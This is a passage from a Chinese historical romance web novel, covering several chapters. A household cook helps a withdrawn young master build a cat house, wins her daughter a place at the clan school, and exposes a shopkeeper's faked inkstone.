那一瞬,车厢内的空气仿佛被抽干,周遭安静得只剩下彼此的呼吸声。
沈令薇惊魂未定,整个人都绷直了。
“侯、侯爷?”
下一秒,她慌忙抱起安安缩回角落里,低着头,脸烫得像火在烤。
“奴婢冒犯,多谢侯爷。”
裴谨之手掌停在半空中,像在回味刚才那转瞬即逝的触感。
即便隔着粗糙的外袍,依旧能感受到她腰身的纤细弧度。
车厢里,沈令薇身上那股淡淡的软香,正无孔不入地包裹着他。
她就像一座极具生命力的磁场,让裴谨之那颗虚无了五年的心,被填满了一丝丝。甚至生出想要被填满的错觉。
他目光在沈令薇的脖颈上停留了一瞬,移开。
“坐好。”嗓音透着一股子生硬,和沙哑。
说完,裴谨之重新闭上眼,试图忽视身体的异样。
可一闭上眼,脑海里浮现的,全是女人方才那张张惊慌失措的脸,还有将她搂在怀里时,那股莫名的,想要将她搂得更紧的欲望。
终于,马车在侯府门前停下。
不及裴谨之下令,沈令薇便抱着安安,踩着马凳下了马车。
她朝着裴谨之再次躬身,语气诚恳地感谢他:“侯爷,今晚多谢您。为了奴婢的事,劳您受累了。”
裴谨之坐在车里,隔着车帘,那双深不见底的黑眸正锁定在沈令薇身上。
他忽然想起前几日夜里,她胸前那抹刺眼的红痕,只要一想到有可能是某个野男人留下的,心头就窜出一股无名火。
他移开目光,语气带着几分刻薄,“沈厨娘未免太高看自己了,本侯帮你,不过是怕你因为这孩子生病,耽误了差事。”
沈令薇微怔,心里那点莫名的激动,瞬间被压了下去。
“侯爷说的是。奴婢定当尽心竭力,照顾好二少爷。”
裴谨之又道:“明日,本侯会让管家给你送一块令牌。往后若有急事出府,跟管家报备一声即可。”
沈令薇再次一怔。
令牌?
她嘴唇动了动,刚想说话,结果裴谨之已经放下车帘,吩咐车夫赶车。
沈令薇朝着他背影的方向行了一礼:“多谢侯爷。”
想来,侯爷虽对自己冷淡至极,言语中还总是拒人于千里之外,但肯赐下出府令牌,想必也是看在已故的侯夫人面子上,才对自己多了几分垂怜和照顾。
沈令薇心中感念,并发誓日后要更加尽心竭力地照顾好几位小主子。
-
接连两日,安安因着生病还没大好,沈令薇便让她留在屋里歇着,没带去静和苑。
白天,她照例在院子里帮二少爷做康复游戏,只不过沈令薇发现,二少爷的目光总往门口瞟。显得有些心不在焉。
午膳时,裴恪坐在桌子旁,前面摆着他最喜爱的八宝羹,却一口都没动。
“二少爷,可是有哪里不舒服?”
裴恪摇头,头埋低了几分。
沈令薇心领神会,试探道:“二少爷可是在……找安安?”
裴恪猛地抬头,又重重地点了点。
沈令薇心里软了一下,“安安病了,这几日怕是都不能来陪二少爷玩了。”
裴恪偏头,眼底有几分焦急。
沈令薇朝他解释,说怕过了兵病气给他,等再过两日,好透了就一定会带过来陪他玩。
结果裴恪在听闻后,显得更难过了,饭是一口没吃。
沈令薇轻声问他:“二少爷,怎么不吃?”
裴恪没有回答,只是坐在那里,背影绷得紧紧的,像是在想什么,又像是在难过。
沈令薇心神一动,萌生出一个想法。
她走到裴恪
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面前,蹲下身,“二少爷,安安病了,不方便照顾团子,奴婢想问你……能不能帮忙照顾团子两天?”
裴恪鸦羽般的睫毛颤了颤,看了沈令薇一眼,又迅速移开。有些不知所措。
裴恪从不与人对视,就算必要时候看人的眼睛,通常也不会超过三秒钟。
沈令薇知道他在听,继续道:“就是给它喂饭,梳毛,陪他玩,并且奴婢也会一直陪在二少爷身边,二少爷愿意吗?”
裴恪小手紧张地缴着衣角,眼底闪过巨大的挣扎。
他习惯了缩在自己的世界里,照顾另一个生命对他来说是巨大的挑战。
但安安现在需要他。
沈令薇也不急,一直蹲在原地等他做出决定。
“怎么样二少爷,咱们,要一起帮助安安,帮助团子吗?”
终于,裴恪又飞快地看了她一眼,小脸有微红,最终轻轻点了点头。
沈令薇立马夸奖了他:“多谢二少爷,那咱们先把饭吃了吧,吃饱了,才有力气照顾团子。”
她把山药羹放在裴恪面前。
这一次,裴恪没再犹豫,像赴任一样,舀起一勺喂进嘴里。
晚些时候,沈令薇将团子带过来,陪同裴恪玩了一会儿,并引导和鼓励裴恪,“二少爷您瞧,团子习惯了和安安呆在一起,如今安安病了,它孤零零的,咱们是不是得考虑下它晚上睡哪儿?或者自己玩些什么?”
裴恪努力思考着,有些不知所措。
沈令薇耐心引导,拿起纸和笔,引导着:“咱们呀,要不要给团子设计一个只属于它自己的小屋呢?它平时喜欢磨爪子,咱们还可以用麻绳绑在椅子腿上,给它抓……”
最后,她按照自己的思路,在纸上画出一个简易版的猫屋,和猫爬架。
裴恪盯着图纸上的那些线条,眉头拧成了一个结,像是不满。
沈令薇心领神会,把笔递给他:“二少爷见谅,奴婢没读过什么书,所以画得不好,要不二少爷您……试试?”
裴恪深吸一口气,接过毛笔,然后,整个人瞬间进入专注状态,开始在宣纸上勾勾画画。
让沈令薇震惊的是,一刻钟后,一幅水墨版的豪华猫屋图,跃然纸上。
猫屋共有三层,透视角度的,线条笔直,尺寸精准得像是在建模。
沈令薇不由得大惊。
看来,这便是上帝给二少爷开的一扇窗。
第34章 上帝给他开的一扇窗
接下来的两日,静和院的后院总有细密的凿刻声。裴恪除了吃饭和睡觉,其余时间,都在精心打造那图纸上的猫屋。
他对自己的要求很高,近乎苛刻,每一块木料的边缘都要打磨的光滑,不能容忍有一丝丝毛刺,一个榫卯结构的咬合都必须严丝合缝。
正是这种近乎偏执的高标准,高要求,两天后,沈令薇推开门,看到眼前这座堪称豪华的猫屋时,彻底僵在了当场。
这哪里是简单的猫屋?分明是一座缩小版的‘海上蓬莱’啊!
三层的屋子,还做了八角尖顶,飞檐翘角,小瓦片排列得整齐规一,房间里还安置了软垫,尺寸也刚刚好。
在屋子的最高处,还刻了一个圆形铭牌,上面端端正正地刻了两个字:团子。
“这……二少爷,这是你亲手做的?”沈令薇瞪大了眼睛。
裴恪罕见地出现了一丝腼腆,又有些紧张。
沈令薇欣喜地上前,轻轻将他揽在怀里,拍了拍背脊,“二少爷真的很厉害,相信团子一定会喜欢的。奴婢代安安谢谢二少爷。”
裴恪因为这突如其来的拥抱,显得很无措,小身子都绷成了一条线,微微发抖。
沈令薇一下又一下,有节奏地在他肩膀上轻拍,并伴随着温言软语,渐渐地,裴恪竟然放松下来。
沈令薇知道,这脱敏训练的第一步,算是完成了。
只要二少爷能慢慢接受他人的触碰,不再把每一次接触都当成入侵,往后与人相处,便不会那般痛苦了。
就在此时,一道张扬的声音突然自门外响起。
“二哥!二哥你快看,夫子今天夸我算术进步了,还给了我一朵红绫花……”
裴野的声音先一步传进来,紧接着,他小小的身影就蹦蹦跳跳地闯进来。
可当他看清屋里的一幕后,被定在了当场,小嘴张成了大大的“O”字。
他眼睛眨了眨,又使劲揉了揉,怀疑自己看错了。
裴朔则落后他几步,闻言有些不满地斥责他:“你小点声,二弟喜静……”
话音未落,裴朔也看清了屋里的一幕,手里的书卷‘啪嗒’一声掉在地上。
兄弟二人,四只眼睛,都不约而同的落在裴恪身上。
准确的说,是被沈令薇揽着的裴恪身上。
裴恪像触电一样,忙从沈令薇怀里退开半步,低着头,一副做错事被抓包的学生模样。
“二哥?你竟让让她碰你?你不打人啦?”
裴野和裴恪这对双生子,脸虽然一模一样,但性子却是天差地别的。
在裴野的印象里,二哥最讨厌别人触碰。
父亲也就罢了,本就不善表达。
可祖母每次想靠近,二哥都要躲开。
他就更别说了,小时候二哥总攻击他,兄弟二人没少争执打架,可后来,祖母告诉他,说二哥不是故意要打他的,二哥只是病了,不知道该怎么办,很难受,所以才选择这种方式发泄。
裴野听闻,无比的心疼,从此以后也就事事让着二哥,有什么好吃的好玩的,也从不争抢。
不过二哥喜欢的东西不多,物质欲望低下,在他看来那些好玩的鸟啊蛇啊,还有蝈蝈什么的,二哥都不感兴趣。
他很沉闷,只喜欢待在自己的院子里,可以一个月都不出门。
要不是上学,恐怕连院门都不会出的。
裴恪正不知该如何回答,裴野的视线往后,瞬间又看到了身后那个三层的猫屋,顿时眼睛一亮。
“哇!二哥,这是你做的?你啥时候会做这个了?”
裴恪的脸更红了,低着头不说话。
沈令薇替他解围:“二少爷亲自设计的图纸,每一根木头也都是他亲手打磨的,二少爷是不是很厉害?”
“嗯嗯,二哥,这么复杂,你是怎么做到的?”裴野重重地点头,小眼睛里满是惊艳。
身后的裴朔也一脸震撼,不过数日不见,二弟竟像是换了个人一样。
给人的感觉就像是,没那么死气沉沉了,多少有了些属于这个年龄的孩子该有的模样。
“对了,大少爷,三少爷,你们怎么来了?”沈令薇淡淡的道。
裴野这才想起此行的目的,顿时挺起小胸脯,一脸得意。
“二哥!我告诉你,我今天可厉害了!学堂里考算术,夫子夸我进步最大,还给了我奖励!”
裴野说着,献宝似的掏出一朵红菱花。这是学院里每个月只发给前三名的奖励。
“这么好看的花,我本来想自己留着的,不过……”
他顿了顿,把红花递给裴恪:“二哥,比起算术,
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你才是最厉害的,夫子说了,他还等着你身体好了回去上课呢。”
裴恪盯着那朵花,没接。
沈令薇鼓励他:“二少爷,这是三少爷的一片心意,您做了这么棒的猫屋,也当得起这份红。”
裴恪接了过来,不过转头就插在了猫屋上,正好卡在铭牌上方。
裴野看的一脸心塞。
他感觉自己在二哥心里,恐怕还不如一只猫。
这时,裴朔上前,拿出几本字帖,道:“夫子那边也惦记你的功课,这是我亲手誊抄的字帖,你若有空,便临摹几章,等过几日回了学院,夫子会再考教你。”
裴恪的眼底闪过一抹亮色。
他虽不爱社交,但对这种逻辑严密、工整清隽的东西极有共感。
大哥的字迹板正又工整,他很喜欢。
沈令薇笑着打趣道:“三位少爷兄弟情深,奴婢瞧着也欢喜,既然二少爷都有了三少爷的红花,又有了大少爷的字帖,那奴婢这个做厨娘的,可也得出一份力才行。”
她转向裴恪,“正好,二少爷这几日身子也调理得差不多了,二少爷喜欢吃什么不妨先写下来,一会儿等奴婢去回禀了老夫人,就给您做?”
裴恪点点头,开始认真思考要吃些什么。
一说到吃的,裴野瞬间也馋得不行。
他这几日带去学院的那些吃食,深受同窗们的喜爱,不少同学都纷纷朝他打听在哪儿买的,还想吃。
裴野搓搓小手,有些别扭地看着沈令薇,“那、那什么,我也正好饿了,不如你连我的也一起做了吧?”
府里的三个小主子,只有裴恪身体特殊,才配备了小厨房。裴朔和裴野都是吃大厨房的饭菜的,没有小灶。
沈令薇嘴角弯了弯,故作为难:“这个嘛……奴婢是二少爷的厨娘,只有二少爷点头,奴婢才能做呢。”
裴野瞬间扭头,看向裴恪:“二哥,我能跟你一起吃饭吗?”
裴恪又又又紧张了。
怎么感觉事情的发展,有些出乎意料。
但看在他送了小红花给团子的份上,算了,就把茯苓糕分他一半吧。
见裴恪点头,裴野顿时眉飞色舞的。
裴朔还站在那里,正打算悄悄离开。
“大少爷。”
裴朔脚步一顿。
第35章 他才不是傻子
沈令薇走上前,语气温和得像三月的风:“大少爷既然也来了,不如留下来一起用膳吧。奴婢手艺虽不比府里的大厨,但做些家常小菜还是能拿得出手的。”
裴朔想起上次竹林的事,自己设局陷害她,他还欠人家一句道歉。
如今又怎么有脸留下来吃饭?
“不用了,我还有功课。”裴朔含糊道。
沈令薇没有执意再劝,只点点头:“好,那大少爷先忙,改日有空再说。”
裴朔一怔,意外地看着沈令薇。
她、这就算了?
按理,她不是应该再客套挽留两句的吗?在侯府,若能讨好他这个大少爷,百利而无一害。
可她为什么?
然而回答裴朔的,只有沈令薇从容离去的背影。她走得干脆,连眼角的余光都没有留下。
裴朔僵立在原处,只觉得胸口沉甸甸的。
为什么,这种被无视的感觉,比被指责还要难受。
-
又过了两日,安安的病已经大好,说几天没见团子和二少爷了,吵着要出门。
沈令薇想到二少爷不久后就要上学,她心里也萌生了一个想法。
这日午后,老夫人再次来静和苑,看望裴恪。
结果刚进门,就被眼前的一幕定住。
院子里显得拥挤了些,放置了一些奇奇怪怪的木架,还有个足足一人多高的三层小房子,以及一些沙包,皮球之类的。
一个约莫五六岁的女孩,正挥着一根羽毛在逗小猫。
她的几步开外,裴恪正静静地站在那里,嘴角是翘着的。虽然很淡,但老夫人一眼就看出来,二孙子此刻心情很好,很开心。
老夫人恍惚了好一会儿才反应过来。
五年了,这还是她头回在二孙子脸上看到这种笑。
“老夫人。”沈令薇迎上来行礼。
老夫人摆摆手,目光一直落在裴恪身上,舍不得移开。
“这孩子……这孩子……”
她激动得说不出话来。
她指着那些玩具:“这……这些,都是恪儿做的?”
沈令薇点头,将裴恪先前的设计图纸奉上:“老夫人请看,这是前几日二少爷亲手画的。”
老夫人接过,低头看过去。
纸上都是线条串起来的标记,尺寸,连接方式都写得整整齐齐,比当代的工匠图纸还一目了然。
老夫人再次破防了,眼泪打湿了眼眶。
她想起那些大夫说过的话,说她的恪儿‘不开窍’、‘怕是养不大’,甚至有人背地里说他是傻子。
都不是真的。
她的孙子,不是傻子。
他分明比旁人都要聪明啊。
老夫人攥着那几页纸,眼泪瞬间夺眶而出。
“奴婢觉得,二少爷在这些精细设计,空间构造方面,或许有着异于常人的天赋。”沈令薇补充道。
老夫人哽咽道:“好……好……”
除了‘好’字,此刻,竟不知该如何表达自己的心情。
张嬷嬷拿着帕子在一旁替她拭泪,笑着劝道:“老夫人,这是大喜事啊,您怎么还哭了?”
老夫人过了好一会儿才平复下来,叹道:“昨个儿学堂的夫子让人传话,说恪儿可以去上学了,我本还有些担心,可没想到……”
她用力握紧了沈令薇的手,“沈氏,你是恪儿的贵人啊。”
沈令薇垂眸:“老夫人言重了,是二少爷自己有福气。”
老夫人目光里满是感激和欣慰。
“你这孩子,立了这么大的功,却从来不邀功。你说,你想要什么赏赐?只要老身能办到的,一定给你!”
沈令薇沉默了一瞬,而后,像是鼓起勇气一般,掀袍跪在地上。
“奴婢确有一事,想恳请老夫人恩准。”
老夫人一愣,忙伸手去扶:“你这孩子,有什么事起来说。”
沈令薇没有动,只抬起头,目光恳切,声音至诚:
“老夫人,安安年岁渐长,正是开蒙的好时候。奴婢斗胆,想恳请老夫人给这孩子一个恩典,让她能进府里的族学……哪怕只是在二公子身边当个伴读,或是坐在门廊下听上几句,奴婢便心满意足了。”
老夫人愣住了,眼中闪过一抹不解。
沉吟片刻后,老夫人道:“沈氏,按理说你立了功,老身不该驳你的面子。可安安到底是女娃,将来长大了迟早是要嫁人的,你若想她以后过得好,老身可以许她一份厚实的嫁妆,保她一生衣食无忧。”
沈令薇抬头,迎上老夫人的目光,一字一句道:
“老夫人,奴婢斗胆问一句,女子读书,是为了什么?”
老
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夫人想了想:“自然是为了知书达理,日后相夫教子。”
“那若是不读书,便不能知书达理了吗?”
老夫人噎住。
“老夫人所言,是世人眼中的‘归宿’。可在奴婢看来,读书识字,从来不是为了让女子去考取功名,更不是为了给日后的婆家增添光彩。”
“奴婢想让她读书,是想让她明事理。这世道对女子本就艰难,若她不读书,这辈子便只能看到方寸之地的悲欢。若她读了书,心中便有了丘壑,眼里便有了山河。将来她若顺遂,书香能锦上添花;她若遇坎坷,见识便是她的铠甲。”
老夫人心中震撼。
自古以来,女子无才便是德,此乃圣人所言。
这些话,她从未听过,但却一时间找不出话来反驳沈令薇。
良久,老夫人叹了口气。
“你这孩子,一张嘴倒是厉害。”
她伸手,把沈令薇扶了起来。
“起来吧。安安的事,老身记下了。回头跟学堂那边说一声,让她跟着去旁听就是。”
沈令薇眼眶一热,躬身致谢:“奴婢和安安,多谢老夫人。”
老夫人看着她,目光里多了几分复杂的意味。
这个厨娘,似乎总能给她带来惊喜。
-
得了老夫人的准话,沈令薇便着手准备安安要上学的一应用品。
什么笔墨纸砚,束脩,还有新衣新鞋等物件。
为了让女儿能尽快和同学们打成一片,沈令薇决定发挥自己的特长,做一些精致可口的吃食,让女儿带去学校,结交更多的朋友。
这日,裴野听说安安也要去上学的消息,小跑着来到静和苑厨房,甩给沈令薇一袋银子。
“喏,给你的。”
沈令薇挑眉:“三少爷这是做什么?”
裴野双手抱臂:“先前你做的点心本少爷带给同学们吃了,他们都觉得不错,要我再带一些,分给大家,这些银子,就当是你的辛苦费。”
沈令薇停下手里的活计,也不客气,当着他的面解开钱袋子,将银锭子倒在桌上,数了起来。
“一两,二两……一共五两银子,按照一份吃食五百文来算,刚好够十份点心。三少爷什么时候要?”
裴野傻眼,圆圆的眼睛瞪得老大:“什么?才十份?”
第36章 这叫情绪价值
“你你你、你也太市侩了吧?”裴野不满地道。
沈令薇眨眨眼:“三少爷这话从何说起?”
裴野急了,“这些食材,可都是花侯府的银子买回来的!你拿着侯府的东西做人情,居然还要收我的钱?”
沈令薇摇头,表情认真:“三少爷说得没错,食材是侯府的,可做吃食的人,是奴婢呀。”
裴野一噎。
“奴婢花了时间、力气、花了心思,把食材变成了三少爷喜欢的点心。这些时间力气心思,难道不值钱吗?”
裴野张了张嘴,说不出话来。
“再说了,奴婢原本只需负责二少爷的一日三餐,主管静和苑的厨房。三少爷这个要求,可是额外的活儿呢。额外干活,当然要额外算钱,这个道理,三少爷应该懂吧?”
裴野听得一愣一愣的,无从反驳,一张小脸憋得通红。
“那、那也不用这么贵啊!”
五百文一份,他一个月的零花银子才五两,还要买喜欢的玩具,和同学斗蛐蛐,都不够花啊。
沈令薇看他那张皱成一团的小脸,忍住笑意,面上却认真。
“三少爷,奴婢问您一句,您来奴婢这儿要吃的,图什么呀?”
“当然是好吃呀!”说完他又急忙捂嘴,像是不小心说出了心里话,找补道,“是、是同窗们说的,不是我……”
沈令薇:“那若是别人也能做出这个味道,您还来找奴婢吗?”
裴野摇头,“那当然不会……”
话说到一半,裴野忽然明白了什么。
沈令薇嘴角弯弯:“所以啊,三少爷买的不仅仅是这点心,而是同窗们惊艳的目光,更是您在族学里那份独一无二的‘面子’。这叫‘情绪价值’,可以说是无价的。”
裴野被这套营销话术忽悠得一愣一愣的,脑子里只剩下一个道理:
她说得好对,我竟然无话反驳。
最后,他盯着桌子上那个鼓鼓的钱袋子,既心疼又服气。
“那……那你可得给我做好吃点儿。”
沈令薇把钱袋一收:“三少爷放心,包您满意。奴婢这就出府,去采购食材。”
……
沈令薇说做就做,拿了银子,跟周管家打了声招呼,很快就出府去采购。
临走前,她把安安安置在裴恪的小院,带着团子一起玩,陈石头和银杏则在一旁陪同照看。
彼时正值仲春,出了侯府东角门,繁华和热闹的街道气息顿时扑面而来。空气中混杂着各种味道。
吆喝声,叫卖声,行人走街串巷的画面,街道两头挂着各式各样的招牌。
沈令薇提着个竹篮,不紧不慢地在人群中穿行。
自从入侯府后,这还是她第一次出门逛街。
以前逃难来京城,风餐露宿的,好不容易活了下来,又马不停蹄地在城门口摆摊,是以,沈令薇还从来没有好好逛过这古代的集市。
沿着热闹的街道,她采买了一些芝麻,红枣,又买了些糯米粉和白糖。路过香料摊时,还顺手挑了几味做点心用的佐料。
直到篮子里渐渐满了,才直奔书斋,准备采购安安上学要用的笔墨纸砚。
转过长街拐角,一家名叫‘墨香斋’的书斋门前,熙熙攘攘地围了一圈人,还伴随着一阵嘈杂声。
“哎哟,那可是五十两银子的端砚啊,这老婆子怎么赔得起?”
“说是刚拿到手上就裂了,掌柜非说她是袖子带倒的。”
“看这婆子也寒酸,估计是想给家里的儿子买个像样的物件,这下好了,估计得把自己给赔进去。”
沈令薇顺着目光看过去,书斋门口,一个头发花白的老妇人,正和一个中年模样的掌柜对峙。
“你这老婆子,买不起就直说,我这墨香斋开了二十年,做的都是街坊邻里的生意,会坑你一块砚台?”
那掌柜把砚台举高了些,好让众人看清上面的裂纹。
“大家评评理,这婆子打坏了书斋的砚台,还有理了。”
围观的人群伸长脖子看,可有些远,根本看不起上面的细纹。
“别是专门想来墨香斋碰瓷的吧?”
“听说专门有人偷偷打碎,然后说有瑕疵,让店家低价出售……”
议论声像潮水一样。
沈令薇不欲凑这
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种热闹,正准备转身离去时,却忽然听到那老妇人高喝一声:
“你、你们这是店大欺客!强买强卖!”
“就这种成色,还要我赔五十两?你怎么不去抢?”
沈令薇的脚步猛地一顿!
这声音……是……干娘?
她赶紧回头,分开人群朝里面挤进去。
果不其然,和掌柜争执的那老妇人,正是此前帮助过沈令薇的一位热心大娘,夫家姓陆,后来认了沈令薇做干女儿。
只不过上回去侯府走得急,都没来得及和干娘打声招呼。
这时,掌柜还在对着陆母极尽嘲讽:“穿成这样,也配来我这儿买东西?我看你就是存心来捣乱的!”
“来人,把人给绑了,送去报官!”
陆母气的浑身颤抖,伸手指着掌柜:“你、你敢!”
“光天化日,皇城脚下,还有没有王法了!”
掌柜嗤笑,不屑之色更浓:“还敢威胁我?你可知这墨韵斋背后的东家是谁?那可是定远侯府,首辅裴家,你一穷酸老妇,识相的就该掂量掂量你儿子的前程。”
掌柜认定了陆母的身份,定是个穷酸学子的母亲。态度很是嚣张。
陆母气得脸色通红,正欲再次反驳,这时,却见一个挎着篮子的年轻妇人走了进来。
“掌柜的,可否将这砚台给我看看?”
是沈令薇,她已经大致了解了事发经过,前来解围。
掌柜抬眼一看,见沈令薇面容柔美,穿着讲究,再看她篮子里采买的东西,立马猜出她的身份。
“敢问这位娘子,是哪家府上的贵人?”
沈令薇挑眉:“怎么?你这书斋做买卖,难道要看人下菜?”
掌柜讪讪一笑,有些不悦地道:“那倒不是,只是这砚台已经被这妇人给打坏了,不能卖。”
“娘子若是想买砚台,那边还有几方好的,我给您拿来瞧瞧?”
对此,沈令薇并不买账,目光依旧锁定那方砚台。
“是吗?打坏了?我瞧着倒是不像。”
她伸手就将那砚台够了过来,细细查看。
掌柜脸色顿时一变。
第37章 随手而为的珍藏
砚台是青灰色的,雕着简单的云纹,看着倒是古朴。可迎着光一看,那所谓的“裂痕”……
沈令薇凑近闻了闻,又用手摸了摸。
“掌柜的,这裂痕,是蜡吧?”
掌柜的嘴角抽了抽:“娘子这话什么意思?我这可是上好的端砚。”
沈令薇指着那纹路,声音不大,却字字清晰地传到众人耳中。
“老坑端砚石质细腻如玉,磨墨无声。可你这方砚台,上手沉闷,石纹生涩,若我没看错,这不过是南山脚下最常见的青墨石。你用生漆掺了墨粉,将这天然的石裂处细细填平,再打上一层厚厚的红蜡。”
沈令薇说着,从篮中取出一小瓶刚买的槐花蜜,滴了一滴在裂纹处,随手用帕子一抹。
只见那原本“平整”的裂口处,竟渗出一丝黑亮的漆痕。
“瞧,蜜糖遇漆则化。这裂痕分明是陈年旧伤,被你用漆遮了,今日见这位大娘面生且和气,便想拿这残次品‘碰瓷’讹诈?”
话落,围观者顿时哗然!
“什么?!原来竟是刷了漆的假货!”
“黑心的奸商,报官,抓起来!”
“对!必须报官!”
掌柜的脸色已经不足以用难看来形容了。
他咬牙切齿道:“你这妇人,休得胡言!我这铺子可是定远侯府府上的,你今日在此信口雌黄,便是跟整个定远侯府为敌!”
一旁,陆母听说了定远侯府,眼神不由得担忧。
她上前拉住沈令薇的袖子,朝她摇了摇头,“这位小娘子,还是算了吧,老婆子我今儿就当吃了这个哑巴亏……”
“大娘!”当着外人的面在,她没有唤陆母干娘,只拍拍她的胳膊。
“您并无过错,若今日朝这些宵小低了头,求一时安稳,来日他们便会愈发猖狂,对更多人的人作威作福。”
她声音不大,却是掷地有声,“这世上若是连‘理’字都要给‘势’字让路,那父母辛苦供出来的读书人,读的又是哪门子的圣贤书?”
周遭百姓的怒火被点燃,纷纷对着掌柜破口大骂。
掌柜见引发众怒,最后不得不息事宁人,当众朝着陆母道歉,并赔偿她五两银子才算作罢。
事后,围观的百姓散去,掌柜看着沈令薇,冷笑连连。
“好你个不知死活的妇人,既然你这么爱管闲事,那便去官府讲!来人,把这两个闹事的绑了,送去……”
话还没说完,沈令薇不慌不忙地从袋子里掏出来一枚物件,往柜台上一放。
掌柜看见那令牌上的纹路,嚣张的嘴脸瞬间僵住,眼珠子猛地瞪大,像被遏住嗓子的公鸡。
“你……你是……”
“掌柜方才说,这铺子是定远侯府的,”沈令薇嘴角勾起一抹冷笑,“那你说,咱要不要一起去老夫人或者侯爷面前,评评理?”
掌柜的脸色瞬间白了。
他认得这令牌。
侯府下人的令牌分三种。
铜牌,是最底层的杂役,只能出入侧门;
银牌,是各院有头脸的管事,可在府内走动;
玄铁令,是主子亲赐的,持此令者,等同于主子亲临,出入无阻,遇事可直达天听。
整个侯府,有玄铁令的下人,不超过一只手。
可这女人手里拿的,就是玄铁令。
掌柜的后背瞬间被冷汗浸透。
他是大房夫人白氏手下的人,负责经营这间书斋,每年往府里交的银子,有一半都进了大夫人的私库。
这些年他用这间铺子做幌子,坑蒙拐骗,以次充好,仗着背后有人撑腰,从没出过事。
可今天……
这事要真闹到老夫人和侯爷面前,一查账,他这些年干的那些事,全都会抖落出来。
到时牵连到大夫人,他怕是会被第一个推出来顶锅祭旗的。
掌柜的膝盖一软,“扑通”一声跪在地上。
“娘、娘子饶命啊!是小人有眼无珠,冲撞了贵人!求您高抬贵手……这砚台就当……就当小的孝敬这位老姐姐的!哦不!小的再赔一份上好的文房四宝,亲自送到府上!”
掌柜跪在地上,不断地磕头,很用力,额头瞬间就鼓起了小包。
沈令薇祭出令牌,本意只想替干娘解围,无意得罪书斋的掌柜。
更何况,侯府的中馈都是大夫人白氏在打理,她一个二房的厨娘,也不愿上来就得罪了大房夫人。
念头几经周转,沈令薇收回令牌,朝陆母道:“大娘,您怎么说?”
陆母还沉浸在方才的震惊里完全没回过神来,闻言一愣,看了看,直起腰板,居高临下道:
“方才,你口口声声说老身是来讹诈的,还要报官抓老身,要把老身儿子的前程也一并毁了?”
掌柜的浑身一抖,扇了自己一个大嘴巴子:“小的有眼无珠!小的狗眼看人低!老姐姐您大人有大量,饶了小的这回吧!”
陆母冷笑,“老身可不是什么大人,老身就是个穷酸婆子!”
这破店,她还不高兴来了呢。
回头就告诉儿子,让他在御史的同僚们面前提上一嘴,好好弹劾这些歪风邪气。
陆母得了道歉,也没了买东西的兴致,当即拉着沈令薇,说要感谢她解围,要请她去家里坐坐。
沈令薇也半推半就的,配合着跟随陆母一起出了书斋。
寻到无人处,陆母这才抓着沈令薇的胳膊上下打量,眼底露出真情实意的担忧:
“听说你和安安突然就进了侯府做工,可把我给担心坏了,怎么样?在侯府可有受欺负?安安呢?怎么没跟你一道出来?”
一连串的发问,让沈令薇心头一软。
“让干娘担心了,是女儿的不是。”
紧接着,她便简单地说了下自己在侯府的情况。
“干娘放
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心,女儿在侯府一切都好,老夫人和善,小主子也都很好相处,真的不用担心。”
陆母悬着的心缓缓放下,叹了一声:“唉,都怪我,当初非要上山去还愿,不然,你和安安也不至于被人赶了出去。”
提起旧事,沈令薇心头涌上一股暖意。
半年前,她带着安安逃难来到京城,租住在城南那间逼仄的屋里,起初身无分文,安安又病着,还是陆母见她带着孩子可怜,便经常送些吃食照顾她们母女,沈令薇也经常会帮陆母做些浆洗缝补的活计,供陆母的儿子读书。
一来二去的,两家走得越发勤了,陆母见沈令薇大方得体,又贤惠,便认她做了干女儿。
陆母早年丈夫病死,膝下只有一子,在书院读书,平日极少回家。
两人边走边说,很快就抵达了陆家附近。
陆母说什么也要拉着沈令薇去家中小坐,喝杯热茶。
沈令薇见时间还早,盛情难却,也就答应了去小坐一会儿。
陆家的小院还跟以前一样,只不过墙角的竹子比先前更茂盛了些,青翠的竹叶在风中轻轻摇晃,院子里的花花草草也都被打理得很好。
“快进来坐。”陆母推开门就招呼她。
“你等着,我去给你煮碗红糖鸡蛋,暖暖身子。”
“干娘,您别忙了,我就坐一会儿,喝口水就走。”沈令薇拉住她。
“那怎么行?”陆母嗔怪地瞪她一眼,“你好不容易来一趟,干娘还能让你渴着饿着?听话,坐着等,马上就好。”
沈令薇知道劝不住,只好把趁着陆母去厨房的空档,把篮子里的鸡蛋和红枣匀出来一些,偷偷放在堂屋里。
明着给,陆母是不会收的。
厨房很快传来柴火燃烧的噼啪声,沈令薇习惯性地扫了一圈屋里,看有什么活能帮忙搭把手。
屋里陈设依旧简陋,却被打理的很干净。
茶桌,案几,不远处有个书柜,里头整齐地码放着几摞书。
视线一扫,她很快定格在窗台边的针线篮上。
里头有一件旧衫,是男式的款式,应该是干娘给儿子缝补的。
但袖口的几针歪歪扭扭的,针脚也疏密不匀。
陆母年纪大了,眼神不好,沈令薇以前也经常帮她做些针线活。她想也没想,顺手拿起衣裳就帮忙缝补起来。
等缝好之后一看,衣服袖口处还有些磨损,怕是穿不了多久又会破。
沈令薇想了想,索性从篮子里找出一小块绣布,比划比划后,在袖子上绣上了几片竹叶。
不过片刻,几片墨绿色的碎竹便栩栩如生地“长”在了袖口。原本那处略显寒碜的磨损,经这寥寥几笔的点缀,竟透出一股子“宁折不弯”的清雅之气。
彼时的沈令薇并没有想到,自己不过随手而为的一个举动,让这件袍子日后会被某人当做珍藏,根本舍不得穿。
第38章 随手捡的小辣椒
从陆家出来,日头已经偏西。
沈令薇想着明天安安哟啊上学,打算换一家书斋去采买一些文房四宝,还有纸张之类的。
结果刚走到长街,就听见前方忽然传来一阵喧哗。
“惊马了!惊马了!”
“快躲开!”
听到风声的百姓瞬间像潮水一样往两边涌去,惊呼声,喊叫声,还有摊主们手忙脚乱收东西的声音。
街上一下子乱极了。
沈令薇本能地护住篮子,顺着人群被挤到了一处偏僻的巷子口。
就在这时,一阵急促的马蹄声由远及近,像是踏在人的心口上。
隔着人群,沈令薇远远的看见,为首那匹枣红的高头大马上,坐着一个身穿墨色轻甲的年轻男人,眉眼英俊得像画里走出来的一样。
满头黑发只用一根银带狂乱地束着,一双桃花眼像带着钩子似的,唇角噙着一丝若有似无的笑意。
明明是纵马疾驰的紧张场面,可他身上却透着一股子玩世不恭的从容。
沈令薇呼吸一滞,还没来得及细看那男子的容貌,下一秒,她眼前骤然一黑!
一股大力猛地攫住她的腰,她整个人像被拎小鸡一样提了起来!
“唔……”
她还没来得及发出一声惊呼,就被人扛在肩上,几个起落,眨眼就翻进了深处的一扇门里。
天旋地转间,耳朵边全是呼呼的风声,眼前全是飞速倒退的墙壁和屋檐。
